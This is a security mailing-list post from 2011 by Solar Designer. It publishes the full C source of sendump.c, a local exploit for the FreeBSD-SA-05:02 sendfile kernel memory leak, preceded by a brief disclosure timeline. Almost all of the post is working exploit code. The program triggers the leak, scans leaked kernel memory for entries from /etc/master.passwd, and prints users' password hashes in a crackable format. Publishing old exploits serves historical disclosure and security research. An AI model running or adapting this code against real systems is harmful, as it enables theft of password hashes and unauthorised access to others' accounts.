|
Message-ID: <20110401180012.GA30278@openwall.com> Date: Fri, 1 Apr 2011 22:00:12 +0400 From: Solar Designer <solar@...nwall.com> To: oss-security@...ts.openwall.com Subject: 6-year FreeBSD-SA-05:02.sendfile exploit Hi, This is almost 0-day. In a sense. I wrote this for a pentesting company. I found it ethically OK to do since the FreeBSD advisory was already out for a couple of weeks. It turns out I was not alone to write an exploit for this bug, and to publish the exploit this year. Timeline: 2005/04/04 - FreeBSD-SA-05:02.sendfile published: http://security.freebsd.org/advisories/FreeBSD-SA-05:02.sendfile.asc 2005/04/16 - reliable FreeBSD 4.x local exploit written ... 2005/04/21 - ... and updated to work on 5.x as well (up to 5.3) 2011/02/05 - Kingcope publishes "FreeBSD <= 5.4-RELEASE ftpd (Version 6.00LS) sendfile kernel mem-leak Exploit": http://seclists.org/fulldisclosure/2011/Feb/83 (By the way, the "<=" is wrong.) 2011/04/01 - Hey, that's today. --- sendump.c --- /* * sendump - FreeBSD-SA-05:02.sendfile exploit - 2005/04/16. * Updated for FreeBSD 5.x, added alternate hash types, added optional * relaxed pattern matching - 2005/04/21. * * This program is meant to be used in controlled environments only. * If found in the wild, please return to ... wait, this is public now, * and this program is hereby placed in the public domain. Feel free to * reuse parts of the source code, etc. * * Password hashes will be dumped to stdout as they're being obtained. * There may be duplicates. * * Debugging may be enabled with one to three "-d" flags. Debugging * information will be dumped to stderr and, for levels 2 and 3, to * the "dump" file. * * Relaxed pattern matching may be enabled with "-r". This increases * the likelihood of printing garbage while also making it more likely * to actually catch the hashes. * * There's some risk of this program crashing the (vulnerable) system, * although this is not intentional. Normally, the program just prints * password hashes from /etc/master.passwd in a format directly usable * with John the Ripper. * * Compile/link with "gcc -Wall -O2 -fomit-frame-pointer -s -lutil". * * Run this on a filesystem with soft-updates for best results. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/stat.h> #include <sys/wait.h> #include <netinet/in.h> #include <signal.h> #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pwd.h> #include <errno.h> #include <assert.h> /* for forkpty(); will also need to link against -lutil */ #include <sys/ioctl.h> #include <termios.h> #include <libutil.h> #define Ki 1024 #define Mi (1024 * Ki) #define DUMP_NAME "dump" #define DUMMY_NAME "dummy" #define DUMMY_SIZE (128 * Mi) #define SOCKET_BUF (196 * Ki) #define DUMMY_RAND_BITS 4 #define DUMMY_RAND_MASK ((1 << DUMMY_RAND_BITS) - 1) #define MAX_LOGIN 16 #define MAX_GECOS 128 #define MAX_HOME 128 #define MAX_SHELL 128 static char itoa64[64] = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; static int debug = 0, relaxed = 0; static char buf[SOCKET_BUF]; static void pexit(char *what) { perror(what); exit(1); } static void write_loop(int fd, char *buf, int count) { int offset, block; offset = 0; while (count > 0) { block = write(fd, &buf[offset], count); if (block < 0) pexit("write"); if (!block) { fprintf(stderr, "write: Returned 0\n"); exit(1); } offset += block; count -= block; } } static void dump(char *buf, int count) { static int fd = -1; if (fd < 0) { fd = creat(DUMP_NAME, S_IRUSR | S_IWUSR); if (fd < 0) pexit("creat"); } write_loop(fd, buf, count); } static int nonzero(char *buf, int count) { char *p, *end; p = buf; end = buf + count; while (p < end) if (*p++) return 1; return 0; } static int search(char *buf, int count) { static char prevuser[MAX_LOGIN + 1], prevpass[61]; char *p, *q, *end; int n; char *user, *pass, *gecos, *home, *shell; struct passwd *pw; int found = 0; p = buf; end = buf + count; while (p < end && (p = memchr(p, '/', end - p))) { q = p++; if (q < buf + (1+1+1+13+2+0+1+1+1)) continue; shell = q; n = 0; while (q < end && *q++ > ' ') n++; if (n < 2 || n > MAX_SHELL) continue; if (q >= end || *q != '\0') continue; q = shell; if (*--q != '\0') continue; n = 0; while (q > buf && *--q > ' ') n++; if (n < 1 || n > MAX_HOME) continue; home = q + 1; if (!relaxed && *home != '/') continue; if (q < buf + (1+1+1+13+2+0+1)) continue; if (*q != '\0') continue; n = 0; while (q > buf && *--q >= ' ') n++; if (n > MAX_GECOS) continue; gecos = q + 1; if (q < buf + (1+1+1+13+2-1)) continue; if (*q != '\0') continue; n = 1; while (q > buf && *--q == '\0') n++; if (n != 2 || !memchr(itoa64, *q, 64)) { /* Doesn't look like FreeBSD 4.x, suspect 5.x */ if (*(q + n - 13) == '\0' && memchr(itoa64, *(q + n - 14), 64)) /* Looks like FreeBSD 5.x */ q += n - 14; else if (!relaxed) continue; } q++; n = 0; while (q > buf && memchr(itoa64, *--q, 64)) n++; switch (n) { case 22: /* MD5-based */ if (q < buf + (1+1+1+3+1+1-1)) continue; if (*q != '$') continue; n = 0; while (q > buf && memchr(itoa64, *--q, 64)) n++; if (n < 1 || n > 8) continue; if (q < buf + (1+1+1+3-1)) continue; if (*q != '$') continue; if (*--q != '1') continue; if (*--q != '$') continue; break; case 13: /* Traditional DES-based */ q++; break; case 53: /* bcrypt */ if (*q != '$') continue; q--; if (*q < '0' || *q > '9') continue; q--; if (*q < '0' || *q > '3') continue; if (*--q != '$') continue; if (*--q != 'a') continue; if (*--q != '2') continue; if (*--q != '$') continue; break; case 19: /* Extended DES-based */ if (*q == '_') break; default: continue; } pass = q; if (q < buf + (1+1+1)) continue; if (*--q == '*' && q >= buf + (1+1+1+8)) { q -= 7; if (memcmp(q, "*LOCKED", 7)) continue; pass = q; q--; } if (*q != '\0') continue; n = 0; while (q > buf && *--q >= '0') n++; if (n < 1 || n > MAX_LOGIN || q <= buf) continue; user = q + 1; pw = getpwnam(user); if (!relaxed && !pw) continue; found = 1; if (!strcmp(user, prevuser) && !strcmp(pass, prevpass)) continue; strcpy(prevuser, user); strcpy(prevpass, pass); if (pw) printf("%s:%s:%u:%u:%s:%s:%s\n", user, pass, pw->pw_uid, pw->pw_gid, gecos, home, shell); else printf("%s:%s:?:?:%s:%s:%s\n", user, pass, gecos, home, shell); } return found; } static void exec_passwd(void) { int tty, pid; switch ((pid = forkpty(&tty, NULL, NULL, NULL))) { case -1: pexit("forkpty"); case 0: execl("/usr/bin/passwd", "passwd", NULL); pexit("execl"); } write_loop(tty, "\n", 1); close(tty); if (kill(pid, SIGKILL) && errno != ESRCH) perror("kill"); if (waitpid(pid, NULL, 0) < 0) pexit("waitpid"); } static void usage(void) { extern char *__progname; fprintf(stderr, "Usage: %s [-d[d[d]]] [-r]\n", __progname); exit(1); } static void tune(int argc, char **argv) { int c; while ((c = getopt(argc, argv, "dr")) != -1) { switch (c) { case 'd': debug++; break; case 'r': relaxed++; break; default: usage(); } } if (argc != optind) usage(); } int main(int argc, char **argv) { int dummy, lin, in, out; int pid; struct sockaddr_in sin; socklen_t sin_length; int optval; off_t dummy_size; int count; tune(argc, argv); dummy = open(DUMMY_NAME, O_CREAT | O_TRUNC | O_RDWR, S_IRUSR | S_IWUSR); if (dummy < 0) pexit("open"); if (unlink(DUMMY_NAME)) pexit("unlink"); lin = socket(PF_INET, SOCK_STREAM, 0); if (lin < 0) pexit("socket"); if (listen(lin, 1)) pexit("listen"); sin_length = sizeof(sin); if (getsockname(lin, (struct sockaddr *)&sin, &sin_length)) pexit("getsockname"); assert(sin_length == sizeof(sin)); more: exec_passwd(); dummy_size = DUMMY_SIZE >> ((rand() >> 16) & DUMMY_RAND_MASK); if (ftruncate(dummy, dummy_size)) pexit("ftruncate"); switch ((pid = fork())) { case -1: pexit("fork"); case 0: out = socket(PF_INET, SOCK_STREAM, 0); if (out < 0) pexit("socket"); if (connect(out, (struct sockaddr *)&sin, sin_length)) pexit("connect"); if (sendfile(dummy, out, 0, DUMMY_SIZE, NULL, NULL, 0)) pexit("sendfile"); return 0; } in = accept(lin, NULL, NULL); if (in < 0) pexit("accept"); optval = SOCKET_BUF; if (setsockopt(in, SOL_SOCKET, SO_RCVBUF, &optval, sizeof(optval))) perror("setsockopt"); if (ftruncate(dummy, 0)) pexit("ftruncate"); do { count = read(in, buf, sizeof(buf)); if (count < 0) pexit("read"); if (debug >= 3) { if (nonzero(buf, count)) { fprintf(stderr, "NZ (%d)\n", count); dump(buf, count); search(buf, count); } else fprintf(stderr, "Z (%d)\n", count); } else { if (search(buf, count)) { if (debug) fputc('$', stderr); if (debug >= 2) dump(buf, count); } else if (debug) fputc(nonzero(buf, count) ? '+' : '-', stderr); } } while (count); if (debug) { if (debug < 3) fputc('|', stderr); else fputs("---\n", stderr); } if (kill(pid, SIGKILL) && errno != ESRCH) perror("kill"); if (waitpid(pid, NULL, 0) < 0) pexit("waitpid"); close(in); fflush(stdout); goto more; } --- Alexander
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.